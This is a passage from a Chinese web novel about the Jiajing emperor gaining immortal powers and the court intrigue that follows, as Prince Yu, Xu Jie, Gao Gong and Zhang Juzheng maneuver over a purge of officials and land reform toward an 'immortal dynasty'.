听到这里,裕王眼底闪过一抹异色,眼底有挣扎之色浮动,不过很快他就释然了。 显然,父皇的的意思很明确了,这次整顿吏治怕是要直接对他这一派系,也就是清流一方进行大整顿,从之前东南之事就不难看出。 父皇的目标,一直都是土地! 恢复军田制,继续让卫所制重新施行,不过是个前奏而已,真正的目标是土地。 之前,他还想着当储君,还用得到这些人,自然要跟他们的利益站在一起。 但现在,储君?呵呵,想都不想了,真当了这储君,他感觉自己会憋屈死。 既然如此,那原本跟清流一条船的他,自然也到了下船的时候了。 “等各地士绅大族,将土地交还后,取消原来按人头征收的丁税,将其并入田赋征收。” “如此一来,无论百姓家庭人口数量如何变化,其税收负担都将与田亩占地相关。” “至于人口数量增加带来的吃食问题倒也不必忧虑,朕自有其他经灵气滋养后的高产粮种,作为主粮,百姓不用担心吃饭问题……” 其他灵气滋养的高产粮种? 听到这个,裕王第一时间想到了仙人!嗯,或许这些高产粮种,就来源于仙界! “按田亩征收税赋,如此不但减轻百姓负担、还促进人口增长和财政收入的增加。” 听完嘉靖所言,裕王略一思考后,微微点头。 自己之前说的‘一条鞭法’确实能让土地兼并得以解决,但太慢了。 父皇整顿吏治,就是快刀斩乱麻的行为,而且如今父皇展露仙迹,清流要被处理,徐阶等人想要自保,只能断臂求生,主动配合。 因此也就不存在士绅大族的抵制,和官员的不配合。此外,整顿吏治后,财政得以恢复,有财政支撑到政策的成熟收益。 一环扣一环,步步为营。 看似快刀斩乱麻,却是早已布局,刀刀切割精准,毫厘不差,只能说不愧是父皇。 “父皇英明!”裕王恭敬道。 “嗯,”嘉靖点了点头,然后又道:“整顿吏治、恢复财政、土地改制变法……” 说着,嘉靖手指怡然的敲打着膝盖。 心中,其实已是千般计较浮现,而且他刚才说的,土地改制变法,也不过是土地问题的第一阶段而已,后面还有三个阶段需要完成。 他最终的目的,是要将大明六七成以上的田地,变成灵田,所以土地改制,必须要不断的改进,一代代推陈出新,成熟无比。 不过这些,还太远,眼下还需要铺垫,一步步来,等待成熟才能施行! 他不会告诉二人的,不过倒是可以适当的给予一些盼头。 想及此处,嘉靖微微一笑,又道:“刚才你们都听到了,修仙路上最重要的是资源。只要有足够的资源,成仙也是迟早的。” “试想一下,若是我大明所有的田地,都变成灵田,你们就能有源源不断的修仙资源供给,那时我大明,变成仙朝岂不是迟早之事?” “而有资源,我大明的仙人数量,也会越来越多,那时,又该是何等景象?” 随着嘉靖的描述,裕王跟景王的呼吸也不由的急促起来,仿佛已经看到了未来的大明仙朝。 “这三步都需要时间,朕打算交给你们二人去做,可有信心能将此事办好?” 听到这话,裕王跟景王当即起身,下跪,高声道:“儿臣有信心!” 嗯,为了自己能有源源不断的修仙资源,为了成仙,为了长生不死,为了大明仙朝! 整顿吏治、财政增长、土地改制,这三件事,他们无论如何也要办好! “嗯,起来吧。”嘉靖说着,抬了抬手虚扶之间,一股无形的力量,将二人扶起。 这又让裕王跟景王心头震撼! “今日回去好好熟悉功法,明日开始进宫修行,同时着手准备整顿吏治……” “是!”裕王跟景王躬身一礼,而后信心满满的踏出了玉熙宫。 二人心中已经决定了,回去后立刻召集自己派系的人,准备改革! 尤其是裕王,也是时候跟麾下那些人摊牌了。 其中最关键的一个人,就是徐阶! “徐阁老,想必你心中已经有所准备了吧。”想着,裕王眼神中莫名之色浮动。 至于一旁的景王,也是心思不宁。 他看到的与裕王又有不同,土地很关键,以后会变成灵田,灵田是修仙资源。 “看来,必须要找严嵩父子好好商量了,而且我这边,还缺少能臣……”想着,景王看向一旁的裕王,心中暗暗羡慕。 裕王身边除了有徐阶还有高拱、张居正、赵贞吉这些治国能臣。 自己这边,除了严家父子这种贪污敛财好手,貌似人才还是太少了,必须要笼络人才。 他看的比较远,若是以后仙朝发展,大明还会满足于这点小小疆域吗? 那么大的土地,不也要皇族管理? 一时间,兄弟二人可以说是心思各异,但相同是,他们此刻,都已经被嘉靖之前所描绘的,大明仙朝,修仙长生的美好画卷所深深吸引着。 为此,心中增添了无穷的动力! 一想只想着,赶紧召集自己的人马班底,开始大刀阔斧的干,然后把灵田弄出来。 毕竟,这些都事关自己日后能否成仙的关键,他们不上心,谁上心? “……” 晚点了,6K+奉上,诚意满满…… 第一百一十章 为官者思变,风云突变,权力收归皇族! 雨已经停了。 此时已是酉时末。 天空碧蓝一片,天际血红的残阳落入京城,将整个京城照的宛若画卷。 “来人,快来人!”裕王从宫里回到家后的第一时间,就开始兴奋的招呼起了人。 “来人,沐浴,更衣,来人!” 现在他手里就有一份仙法,虽然父皇只是说,让他今天先熟悉功法,明日修炼。 但如今仙法在手,他又怎么能忍得住? 不过为了体现对仙法的重视,他需要沐浴更衣后,才能开始。 不是他不够沉稳,实在是此刻心中的激动和喜悦,让他不得不失态,稍微放肆一下。 他压抑的太久了,小心谨慎一辈子了,稍微放肆一下怎么了?也是允许的! 今天他不但得到了父皇的认可和赞许,在父皇面前力压了老四一头,还得到了父皇赐下的修仙之法,最主要的是他现在对未来充满了信心。 嗯,除此之外,还有前所未有的释然,不用再盯着那位子,成天的劳心劳神了。 皇位虽然大概率上他是不可能有了,但接下来他可以期盼的东西是修仙长生。 跟这些比起来,长生成仙的诱惑,一个皇位,似乎也不算什么了,没就没了吧。 虽说当上皇帝,以后大明仙朝所有的资源都会紧着他一个人使用,可他也知道,父皇已经踏上了修仙之路,长生怕是必然的。 以父皇对权力的贪恋,这皇位,怕是不会允许任何人染指,所以他要换一个追求! 最重要的是,这些资源都会是父皇的,不过父皇吃肉,他这个当儿子的,跟着喝汤没问题吧? 灵田、修仙资源,才是未来大明的‘新贵’,日后的大明朝,将会以这些为核心,被无数人所追逐,而他的竞争者只有老四一人。 很快,原本安静的王府就闹了起来。 一众太监婢女虽然不知道发生了什么,不过还是开始忙碌了起来。 沐浴更衣,在貌美王府婢女的服侍下,裕王屏退了所有人后,独自来到了书房之中。 一连数个呼吸,让自己平复心情后,裕王这才虔诚的从怀里拿出那份‘引气诀’,来到书桌前坐下,开始认真的观看了起来。 不过在看完‘引气诀’上,吕芳抄录时,根据自身实际情况的修行标注后,裕王那颗火热急切的心,也顿时冷静了下来。 “却是我太心急了……”裕王凝神看着‘引气诀’上,吕芳标注的那行小字。 “修仙一途,灵气乃必不可少之关键,我朝天下,灵气绝迹,若想修炼此仙法,需先吞服灵源,冲击自身穴窍,冥想行功图。 以呼吸吐纳方式,引导体内灵气,冲击穴窍,如此当攻破引气入体前所需穴窍后,即可着手准备,冲击修仙之第一境界,练气期!” 看完吕芳的注释后,裕王冷静了下来。 今天,在灵田小院里,他知道了修仙者和仙人的区别,简单了解了一些修仙境界和灵田的作用,不过“灵源”这东西,却是没提起。 当然,裕王不知道的是,灵源的本质是什么,就连吕芳都不知道。 因为灵源这东西,涉及到了灵脉。 只有拥有灵脉,才能产出灵源,在嘉靖看来,现在说这些,都为时过早,有灵田小院在,足以支持吕芳和陆炳这些人的修炼。 至于他自己,除非是简单修炼才会用到,像是真要闭关突破,自然是去修仙世界了。 嘉靖现在只是练气五层的修为,距离突破练气六层还不知道要多久,所以在大明也就是维持日常的修炼,稳固修为,并未想突破之事。 像是吕芳、陆炳这些人,灵田小院里的灵气,一些灵瓜、灵果,几十两灵源足以。 “难怪父皇只是让我先熟悉功法,明日再入宫修炼,原来是缺少关键之物……” 看着手上的功法,裕王可惜的叹了口气,而后便开始专心熟悉起了‘引气诀’。 另一边的景王,自然也跟他差不多,彻夜观看‘引气诀’。 然而这一晚睡不着的人有很多,仙人降世,虽然不清楚跟宫里的关系,但百官都隐约感觉到了,大明即将引来一场风暴。 一时间,高官者愁容满面,下位者战战兢兢,仿佛头上有一把大刀,随时会裹挟着无边的寒意,朝着自己的脖颈砍来。 届时,两京一十三省,恐怕会有无数官员的脑袋,被杀的滚滚而落,血流成河。 …… 夜,徐府,书房。 “父亲,仙人之事,是真的吗?”现任工部侍郎的徐阶长子,徐璠有些期盼的问道。 他虽已至中年,不过面对这等,如今已经在六部高层之间开始流传的‘仙人降世’的言论,还是压不住心底的好奇,忍不住打探。 他们这些人已经站在了世俗的权贵巅峰,能引起他们兴趣的东西不多了。 除了权势之外,就是家族发展,要么就是实现国策抱负等等,但现在多了个仙人传说! “仙人之事,以后休要在家里谈论,”面对儿子的询问,徐阶跟严嵩的态度一样,也不给多做解释,只是拿起桌上写好的一封信,递给儿子,道:“将这封信,送去松江那边。” 看着没有署名的信笺,徐璠面容微沉,看向烛火下,面容似乎苍老不少的父亲,接过信笺后,道:“父亲,出了何事?” 之前父亲也让他往松江的族中送过几次信,但都是有署名的,像这种没署名的也有过,但很少,而每次都说明有大事发生! 最近的一次,就是前不久海瑞大闹东南,闹得一发不可收拾,皇上命国师前往东南那次。 之后他们徐家在东南的利益结点,瞬间消失了大半的,他们的利益网出了大洞。 这一次,父亲又送出一份没有署名的信笺,这让他心头再次一沉。 本能的,他想到,或许与那仙人有关。 现在六部高层之中都在传,说大明有仙人相助,皇上激怒俺答,引蒙古人大军来犯,就是一个计谋,为的就是让仙人葬送俺答大军。 若是与仙人有关的话,跟他们徐家又能有什么关系呢?这次的所有事,可都在北境。 听到儿子这么问,徐阶抬了抬头,看着高高大大,生的魁梧,面容忠厚的大儿子,一双眸子里,不由的浮现出一抹疲惫之色。 他突然觉得,自己真的被严嵩比下去了。 内阁中,他面对严嵩也是游刃有余,可是严嵩身边的严世蕃,虽然不被他放眼里,但比儿子的话,严世蕃强自己儿子太多了。 徐阶张了张嘴,想要跟这个儿子说点什么,然后又满是无奈的低下头,只是挥挥手,道:“去办吧,到时候你就知道了。” “父亲,我……”徐璠蠕动了一下嘴唇,张口想要说话,但看着低下脑袋,似乎越发苍老,暮气沉沉的父亲,最后只能无奈转身。 刚才父亲神情间的疲态和失望之色,他可都看的清清楚楚。 他知道,就算自己追问,估计父亲也不会说什么,反而白白惹父亲不痛快。 “唉……”关上门的同时,还没走几步,徐璠就听到书房里,传来的一声叹息。 紧了紧拳头,最后只能大步离开。 天穹之上,明月高悬,星光璀璨,汇聚成长河。 徐阶坐在桌前,抬头望向天上的明月,浑浊的眸子里,涌动着莫名的光泽。 今夜,他做了一个艰难的决定。 那便是彻底放弃家族一直以来,几代人经营的全部利益网,而后全部上交给朝廷。 同时带头背叛那些勾结甚深的士绅大族。 以此为自己,为徐氏全族,争一个更好的前程出来。但这么做的后果就是,失去东南所有士绅大族的支持,自己将失去最大的依仗。 未来会如何,他不确定。 主动背叛自己一方的利益阶层,他在朝中地位会骤降。 他会变得跟严嵩一样,为皇族马首是瞻! 如果皇族不要他…那么等待他和整个徐家全族的,将会是顷刻间的万劫不复! 士绅大族从来都没有固定的支持者,不过是他处于这个位置,所以徐家水涨船高。 他身后也汇聚了一群拥趸,正是有他们,他才能走到今天的这一步。 如今的士绅大族就像是行驶在海上的大船,这艘船腐朽了,看不到终点。 而他,就是这艘大船上众船员选出来的船长。现在,他这个船长要下船了! 他要用这艘破船和船上的船员们,为自己换个好前尘,嗯,这里头也有赌的成分,前提是他去递交投名状,不会连自己也没了。 但他别无选择了,等着船沉一起完蛋,还是死道友不死贫道?只有赌了! 徐阶凝视着天上明月,许久后幽幽开口。 “宦海浮沉,为官者思变,这就是我的选择!” …… 高府,大堂中。 “太岳,内阁要迎来大清洗了!”高拱直言不讳的对张居正说道。 “肃卿说的是……”张居正眉头一皱,看向高拱,不知道他说的是不是自己心中所想。 “你是聪明人,”高拱点了点头,道:“相信你也想到了,你可知皇上的目的?” 说着,不等张居正开口,高拱又跟着道:“我说的不是整顿吏治,而是内阁!” “我有所猜测,”张居正沉吟片刻后,看向高拱,道:“假若,皇上真的与仙人有了联系,玄修有成,踏上了仙途……” “那么皇上此前,让裕王跟景王协理内阁的真实目的,或许就是要让权力尽归皇族!” “不愧是你张太岳!”高拱沉声赞许,“那你知道这意味着什么吗?” “既然是权力尽归皇族,那就不允许有权力分散,比如……”说着张居正语气一顿,又道:“徐阁老,和他背后的家族!” “内阁的权力从永乐朝之后,历经洪熙、宣德……直到本朝,皇上不上朝开始,内阁虽然没有宰相之名,却有了宰相之实。” 高拱语气严肃,虎目凝视着张居正,“现在,皇上要收回权力了。” “不过交给裕王和景王,显然皇上并不打算改变不上朝的现状,”说着,高拱眉头皱了皱,又道:“皇上玄修有成怕是会继续!” “但权力还是要收回来,必须掌握在皇族手里。” “整顿吏治,卫所制是皇上的目标,而这个过程中,内阁权力收回也是顺带的!” “所以,徐阁老他,大势已去”高拱语气低沉,“太岳,你我也到了思变的时候了!” 内阁谁最有实力?严嵩! 但严嵩已经被他们排除在外了。 严嵩的权力,从来都是来源于皇上,只要皇上还要严嵩,那严嵩的地位就不会动摇。 权力收归皇族?对严嵩来说,毫无意义。所以这次内阁权力大洗牌,就是针对次辅徐阶的。 “肃卿,你到底想说什么?”张居正不喜高拱这么说徐阶。 他们虽然没有师徒之名,却有师徒之实。 “朱纨案!”高拱沉声说出了三个字,道:“我要主持‘朱纨案’,需要你助我!” “你让我去害徐阁老?”张居正当场“腾”的坐起身,不可置信的看着高拱,“你知道自己在说什么吗?那可是我的授业恩师!” 他只觉得高拱疯了! 这事你去找赵贞吉也好,找我?难道我张居正看起来很像是一个欺师灭祖的人吗? 主持朱纨案,张居正可太清楚这意味着什么了。 所有人都知道这案子,就是严世蕃那恶贼递给皇上的一把屠刀。 一旦翻案,就会牵扯到嘉靖二十九年的俺答入侵,届时这把屠刀就会对准,整个东南官场,而整顿吏治也会从这里开始。 第一个要动谁?徐阶自是当仁不上! “春风卷罗幙,明月照流黄。山川一何阻,云树一何长。安得随长风,翩翻来君傍。愿将云锦丝,为君补华裳!” 然而这时,高拱却念了一首诗,这是张居正年轻时所作的诗。 听到高拱念起这首诗,张居正微微一怔。 “太岳,你等了太久了,你想等长风送你入青云之路,实现心中抱负,这就是机会!”高拱,起身看着张居正,言辞恳切。 “太岳,你我心中所想,抱负,都一样的,政见亦是没有冲突,何不一起携手,一展抱负?为大明开创一番空前盛世?” “我不是要你去害徐阁老,朱纨案是皇上整顿吏治,绕不开的一个最佳理由。” “你我在,裕王殿下也会念着那份情,徐阁老还能顺利隐退,安度晚年。” “徐阁老和他的家族,大势已去。” “一个崭新的大明,正是一展抱负之时!若是我们不将机会把握住,恐怕再无机会!” “不必多言……”然而不等高拱说完,张居正直接摆手打断,道:“肃卿,无论如何,我不会做这种欺师灭祖之事。” “今日就当我没有来过这里,告辞!”说完,张居正拱了拱手,转身就走。 “太岳!”高拱看着张居正决然的背影,整个人愣在原地。 他没想到,张居正会拒绝的这么干脆。 被拒绝的高拱,整个人丧气不已,怒其不争道:“整顿吏治之后,正是变法的好时机……” …… 严府,书房里。 严嵩专心的翻阅着一本道家经典。 一旁的儿子严世蕃,也是趴在桌上,仔细的帮着老爹处理公文。 嗯,难得小阁老能这么安静。 “爹,您说皇上修仙了,以后大明会如何?”严世蕃打了个哈欠,抬头看向老爹,望着老爹投来的目光,道: “我知道不要谈论,这不是闲聊吗?” “哼,”严嵩哼笑一声,舔了舔手指,给书翻了一页纸,然后温吞道:“自然是立永世不朽之仙朝,奠永世基业了。” “不知要怎么做,才能让皇上赐下仙法给我们严家?”严世蕃眼神中有憧憬之色。 “或许用不了多久,就能知道……”严嵩闻言,目光一顿,低声自语道。 “爹?!”闻言,严世蕃一怔,瞪着眼看向老爹严嵩,失声道:“怎么说?” “今日裕王跟景王殿下入宫了,怕是就是为了那仙人之事,且看明日殿下召见。” “届时,就能明白了。”严嵩语气沉沉。 “对啊,我倒是忘了,殿下今日入玉熙宫,定是为了那仙人一事。” “正如您说的,接下来内阁权力尽归皇族,殿下要用人,肯定少不了我们严家。届时,定能通过殿下,得知些仙人隐秘……” “如果是殿下主动透露,那可不是我们打听,而且也能说明,皇上并未禁止。”严世蕃的脑子在事关利益的时候,还是很灵光的。 “好好处理公文,少说话。” 严嵩看着憧憬着的儿子,温吞的说了一声,又低下了头开始看起了书。 严世蕃也收起心中所想,开始仔细处理起了各地送上来的公文。 外界风云突变,严府却岁月静好。 两个世人口中最坏的父子,此刻内心却是比任何人都要宁静。 翌日,天大晴。 裕王府,大殿之中。 裕王还没有到,但徐阶、高拱、张居正还有赵贞吉,已经依次入座。 只是彼此间的气氛,却是变得很是微妙。 高拱眼神不断的瞟向张居正,后者则是始终一副不咸不淡,眼观鼻,鼻观心的冷淡态度。而徐阶,则始终一副老神在在的样子。 似乎不管局势对他来说,如何的不好,他都能保持这种泰山崩于前而色不变的姿态。 一直降低自己存在感的赵贞吉,看着这三人,心中略有了一些猜测。 见张居正似乎真的生气了,高拱也有些不快了。 多年友谊,就算意见不合,我就说了几句实话,也不必如此吧? 行,你不理我,我也不理你! 想着,高拱又将目光看向徐阶,眼神中仿佛有刀子一样。 他不怕把话说开了,今天徐阶他吃定了! “哈!”这时,偏殿传来一声哈欠声,裕王顶着略有些发青的眼圈走了出来,众人看着裕王这幅模样,都有些惊讶,不过还是赶紧见礼。 “诸位都到了……”裕王说着,又打了个哈欠,接过小太监递来的茶水,喝了一口后,这才招呼着,道:“都坐吧,不必多礼。” “谢殿下。”众人道了谢后,稳稳入座。 “嗯,今日召诸位来王府,是关于整顿吏治……”裕王说着,语气微微一顿,道:“父皇已经将此事交于我跟四弟来办。” “诸位有什么想法,可以说来听听,整顿吏治,从哪里开始,怎么做?”说话间,裕王首先将目光,看向徐阶。 “殿下,臣以为,可以从朱纨案查起。” 几乎是裕王话音刚落,高拱打算第一个开口的时候,徐阶直接抢先说道。 “嗯?!”听到徐阶的话,除了裕王外,众人都是一愣,尤其是高拱,瞪着眼,像是没想到,这事竟会是徐阶先开口。 只有赵贞吉,经过短暂惊愕后,眼中有精光闪过,看着徐阶,心中暗暗佩服不已。 徐阶,徐阁老,不愧是能跟严嵩斗的人,够狠辣的! 从对方主动开口,说要从朱纨案查起的时候,他就已经猜到徐阶的打算了! “……” 第一百一十一章 仙人为何帮助大明?没错,真相定是如此! “臣对东南官场较为熟悉,”徐阶的声音继续不急不缓,道:“就在昨日,臣已经命老家的一些关系,去调查当年的朱纨案……” “当然,说是调查朱纨案,不过是以此为借口,暗中整顿吏治……” “徐阁老他?”回过神来的张居正,此时满是震惊的看向徐阶。 他没想到徐阶竟然会自己主动站出来,向裕王殿下要求负责朱纨案。 这是要大义灭亲? 虽然说那些士绅大族从根本上来说,不过是因为利益才支持徐阶家族,算不得什么亲。 可背叛自己的利益集团,这在张居正看来,比大义灭亲还要果决。 一看到情况不对,果断的断臂求生吗?不仅如此,背叛自己的利益集团,等同于增敌! 徐阁老能在内阁之中跟严嵩分庭抗礼的主要原因,就是因为背后那庞大的士绅家族在地方上,对他的各种支持。 内阁政令下达,地方上立刻就能执行。 现在,徐阶要放弃这些士绅大族,并且与他们为敌,那接下来,他要面对的就是无数士绅家族背后支持官员的弹劾。 这些官员,遍布朝野! 就算是他们这些严党眼中的清流,其实内部也可以说是派系伶俐,利益不同。 每个人心中都有自己想要实现的抱负和理想,比如自己,再比如高拱。 而想要实现自己的目标,比如理想抱负,国策的施行,都需要登上内阁权力的顶峰,首辅! 但首辅的位置,又只有一个。 想要往上爬,就只能将别人拉下去。 除了治国理念大家一致,能走到一起外,还有就是利益! 说句张居正不愿意承认,但不得不说承认的事实,那就是严党眼中的清流,也就是他们这些人,其实也都有利益上的私心。 不过是相比于严党,他们这些人,在乎的和想要的更多,爱护羽毛,珍惜名声,钱财,这些都是他们所贪恋的身外之物。 不过他们行事,会更为稳妥,合法合理,说白了就是吃相没有严党那么野蛮。 正如徐阁老家族盘踞在松江府一带,坐拥田亩数量可以说是庞大到了一个难以想象的地步,这些田产,是如何获得的? 除了土地兼并,张居正想不到别的。 但这些田产,徐阁老家族怕查吗?不怕。 一来,朝廷不会这么做。二来,全都是在规则之内,至少表面上,完全符合大明律。 正如上次海瑞在东南定海县查案一样。那林家,都不过是定海县地方上一个与徐家不知道偏远了多少的士绅家族。 如果不是严党从中作梗,对方手段上太过粗糙,恐怕海瑞也查不到什么。 即使是皇上想要土地,也不是通过正规手段,而是逼迫徐阁老家族以及背后士绅大族妥协,不得不放弃一部分家族,以求自保。 如此,有样学样,徐阁老身后汇聚的那些真正的士绅豪族,手段会更高明。 不仅如此,卷入进来,汇聚于一起的家族会更多,更大。 这些家族,有的甚至比徐氏家族还要庞大,而大家之所以支持徐阁老,主要原因不过是因为利益方向一致而已。 否则,就算徐阁老再怎么受宠,如果能力始终上不去,他在内阁也是斗不过严嵩。 一旦这利益受损,甚至危及到各自的生存之时,那么这些家族就会联合起来。 一念之间,张居正已经想到了很多,甚至他已经看到了接下来群臣弹劾的场景了。 那时候,皇上还会保徐阁老吗? 一时间,张居正看向这位年迈的‘老师’,眼神变得复杂无比。 高拱说的其实没错,徐阁老大势已去,唯一安稳退下的方法就是别人主持朱纨案,整顿吏治顺带着将整个东南官场,家族一刀切。 而徐阁老,在内阁慢慢隐退,颐养天年。 但徐阁老选择了另外一条路,一条斗争之路,这么一来,就是将全部身家压在裕王殿下身上了,他会成为另外一个严嵩。 “徐阶!”回过神的高拱,看向徐阶的眼神微沉,拳头死死攥着。 而后,高拱又看向裕王。 徐阶如此明显的投诚,裕王会接吗? “嗯,”裕王略一沉吟后,突然展颜一笑,道:“那不知,东南官场,多久能肃清呢?” 裕王知道,徐阶做了一个正确的决定。 并且,对此丝毫不意外,因为徐阶别无选择,要么背叛利益一方,要么被自己舍去,自己手下不是没有取代他的人。 裕王自然是要接受徐阶投诚的,百姓家还说呢,家有一老,如有一宝,徐阶这种老谋深算之人,他用得非常顺手,自然不会舍弃。 嗯,不是说高拱能力不足,而是相比于徐阶来说,养气功夫,和城府上还是不够。 裕王,对自己的这些老师都很了解,尤其是高拱,脾气太急了,性格火爆。 这样的人,他容易把其他人推向别处,得罪的人也太多,树敌太多,自己的选择就多。选择太多,对他来说,是一种麻烦。 现在徐阶懂得取舍,投诚。 他自然是要给一个机会的,父皇身边有一个严嵩,自己身边也想要一个‘严嵩’。 “回禀殿下,从证据收集,人员名单的罗列,以及确保东南官场不动荡,可以平稳度过,臣以为……”徐阶说着,略一思索,道: “一年,一年时间,东南,乃至于与东南有利益往来的所有蠹虫,都将肃清!” “好!”听到一年时间,就可以完成对吏治的整顿,裕王道了一声好,而后又一沉吟,道:“不过,也不必全部赶尽杀绝。” 听到裕王的话,徐阶微微欠身,听命的模样。 “一些有能力的聪明人,可以继续任用,只需要把该交的…土地交了就可以……” 嗯,到了这个时候,裕王也懒得拐弯抹角,直接明摆着自己也要土地。 “是!”徐阶没别的,服从! “呵,”见徐阶如此,裕王轻笑一声,压了压手,示意徐阶坐下,“整顿吏治,就交由徐阁老去办,我们负责东南以上……” “景王负责其他地域,我们快,他们也必须要快。”说着,裕王看着几人之间,气氛似乎不对,尤其是高拱,那怨念他都感受到了。 “呵,”轻笑一声,裕王拿起茶盏轻抿了一口,看着众人,道:“同朝为官,都是为了国家和百姓,为了大明江山社稷。” “以后的大明,会更好,大家可要齐心协力才是啊。” 听到裕王这么说,张居正跟赵贞吉,都看向徐、高二人。 一个刚刚向皇家投诚,背叛自己的利益集团,想要化身另一个‘严嵩’。 一个因为没能上位,还提前暴露对他人的敌意,弄得不尴不尬。 只能说,今天就像是这二人的落难日。 “殿下……”知道在提点自己二人的徐阶和高拱赶紧看向裕王,拱手就说话,不过却被裕王抬手打断,道: “我知道诸位都是我大明肱骨之臣,有自己的远大抱负,和治国理念。” “不过治国,最终还应该是父皇的意志决定……并且父皇已经有了打算。” “不知,皇上的打算是?”赵贞吉拱了拱手,问道。 嗯,他知道这个时候,该是自己站出来,把话头往别的地方牵引一下,翻篇了。 果然,随着赵贞吉的话锋转向,大殿内的气氛也跟着一松,徐阶面容微缓。 一边的高拱,也是收敛情绪,朝着裕王看去。 虽然没能斗倒徐阶,让高拱很遗憾,不过既然事实已经如此,便继续向前看吧。他总不能背叛裕王殿下吧?另谋他人吧?没人了! 相比于徐阶,他更不爽严嵩父子,自然也不能去效忠景王。 “屯兵兴农的国策会在明年正式开始,”裕王起了话头,然后道:“北边军需减少,东南大局稳定,募兵制所需足以维持。” “而整顿吏治过后,财政也会恢复……” “比方说,田赋、盐税、关税等税赋也都会正常的涌入国库,毕竟蠹虫没了,然后国库会逐渐充盈,大明也会越来越稳固……” 听裕王这么说,众人都是微微点头。 “接下来,就是土地改制变法!”裕王说着,看向张居正跟高拱,道:“接下来,就是太岳和肃卿你们二人,一展抱负的时候了。” 尤其是对高拱,裕王笑着点点头。 刚才算是对高拱的一点冷落了,自然应该适当的安抚给个甜枣一下,这道理裕王自然懂。 嗯?听到裕王这么说,果然高拱眼前一亮,而后跟张居正对视一眼,齐齐看向裕王。 “还记得桂萼写的那份《任民考》吗?”裕王看向众人,在张居正和高拱逐渐恍然的神情中,微微点头,道:“一条鞭法!” “嘶!”听到这个,高拱跟张居正都是微吸了一口气,继而脸上就是喜色浮现。 二人的治国理念和政见其实都是一致的。 而“一条鞭法”中,二人自然都是了解过的,此前他们也跟裕王说过,土地改制变法,桂萼提出的‘一条鞭法’可以重用。 虽然在张居正看来,一条鞭法还有改进,但这不妨碍他对此的推崇。 若是他对土地改制,也会采用的。 “哈哈哈,”这时,高拱突然笑出声,拳头攥着,高兴道:“大明的土地,确实到了改制的时候了,好啊!” 一旁的徐阶也是微微点头。 此前,他拥有的土地最多,他代表的利益集团,土地更多,土地改制伤的也是他们。 但是现在,他可以说是一身轻松。 “不错,土地改制,将士绅大族手中兼并的土地,还给百姓,国力也会逐渐上涨……”张居正说着,心中也是兴奋不已。 他原以为,等自己实现抱负和理想的时候,还不知道要多久,没想到这么快机会就来了。 说着,张居正不由看向高拱,二位昨晚之前还是好友的人,很有默契的对视一眼,不等张居正想要释放善意,却迎来高拱的一声轻哼。 对此,张居正不由一阵尴尬。 众人见此,也全都是没看到,高拱的性格脾气都清楚,眼里揉不得沙子。 一颗被伤的心,岂能这么快说好就好呢? “还有一个事……”这时,裕王的声音再次响起,只是说着,身子微微前倾,众人见此都对裕王如此郑重的反应好奇,不过还是认真起来。 “北境战场上,那惊鸿一现的仙人,都还记得吗?”裕王说着,观察着众人的神情。 随着裕王开口,不论是老神在在的徐阶,又或者是因为这么多年等待,即将可以一展抱负的高拱和张居正,又或者赵贞吉。 这一刻,所有人,全都是身体一怔,瞪着眼,下意识的屏住呼吸,看向裕王。 因为之前的事,他们倒是忘了这一茬。 是了,对于如今的大明来说,最重要的不光光是整顿吏治,和接下来的官场巨变。 最重要的是,北境战场之上,数万人见证中,那惊鸿一现的仙人身影。 还有如今六部高层议论纷纷的,皇上是否真的玄修成功,请下仙人一事。 听到裕王这么一说,众人都紧张的看向裕王。 殿下昨日跟景王殿下一同进宫,显然是去求证,皇上是否真的跟仙人有联系了。 “你们想的不错,”将众人神情收入眼底后,裕王微微点头,道: “父皇他,确实得仙人相助了!” “轰!”得到裕王确认的这一刻,几人的脑子跟着就是一阵嗡鸣。 一个个,目瞪口呆,面上神情更是极为精彩。 之前也是猜测,但毕竟没有确切的消息,猜测终究是猜测,即使这个猜测,十有八九是真的,可当裕王亲自证实后,众人还是失态了。 “那陛下,是否得成仙?”赵贞吉讷讷道。 众人也终于回过神,朝着裕王看去。 “仙道,与你们在话本传说中所了解到的又有不同。”裕王笑着坐直身体,看着众人的神情中,多了几分俯视意味。 嗯,他也即将踏入仙道了,跟这些凡人,即将出现来自本质上的区别。 不过,他之所以愿意给这些人透露,也是有原因的,因为未来是要打造灵田的。 大明也是要走向仙朝的,不论是修仙资源的积累,还是仙朝的打造,都离不开用人。 给这些人适当的透露一些东西,有助于他们更好的为自己做事。 嗯,这事父皇并未下令,让他瞒着其他人,反而让他们整顿吏治,打造灵田做准备。 那怎么打造灵田?还不是要用到人?这就绕不开他们麾下各自的能臣。所以,父皇不下令禁止透露,显然是默许的。 “先是修仙,然后是仙人……” “重点是在一个‘修’字上,修仙者也会生老病死,不过寿元要高于普通人……” 随着裕王简单的讲述,徐阶、高拱、张居正等人,都在这一刻竖起耳朵认真听了起来。 随着裕王的讲述,他们也都恍然。 原来“仙道”还有如此之多的讲究和说法。 “而父皇的目标,就是将大明,打造成一个不世仙朝,届时百官人人位列仙班,岂不美哉?”嗯,裕王也是会画饼的。 果然,听到人人位列仙班,饶是徐阶,也不由的瞳孔震颤,身体微微发抖。 张居正、高拱和赵贞吉三人更是如此。 这几个城府算计都不简单,朝堂之上大谈国策的老狐狸,都在这一刻呆滞了。个个神情飘忽,仿佛看到自己位列仙班的那一天了一样。 如果大明发展成了仙朝,那他们这些在仙朝的官员,可不就是位列仙班了吗? 这一刻,所有人只感觉,自己脑海中,仿佛被打开了一扇门,一扇通往仙国的大门。 修身、齐家、治国、平天下?与修仙长生,位列仙班,如传说中的仙人一般相比,他们只觉得自己此前的理想抱负,都太单薄了。 他们应该有更高的追求,修仙! “殿下,我有一个疑问,”半晌后,回过神的赵贞吉,突然皱着眉头,开口道:“既然陛下的仙法,是从仙人处得来……” “那么,仙人为何要帮助陛下?帮助大明?” 听到赵贞吉这么一问,众人都是一怔,然后齐齐向裕王投去一个疑惑的眼神。 “这个,”被赵贞吉这么一问,裕王也是眉头一皱,然后道:“我没有问。” “不过我刚打算询问父皇,仙人的事情,却收到了吕公公的暗示,似是讳莫如深……” “不知诸位有什么看法?我倒是有一个猜测……”提起这个,裕王心里也有疑惑。 为什么吕芳不让自己问仙人的事情? 答案或许只有一个,那就是修仙之法来源于仙人,整个大明只有父皇能接触仙人。而父皇有仙法在手,就能掌握所有人,稳固权力。 如果自己打探仙人,自然会被忌惮猜疑。 想着,裕王将自己的想法,也告诉了自己的这一班心腹。 “殿下的想法有一定的道理……”这时,徐阶率先开口,众人都朝他看去。 毕竟,论城府算计,他可是能跟严嵩对打的,定有别的见解。 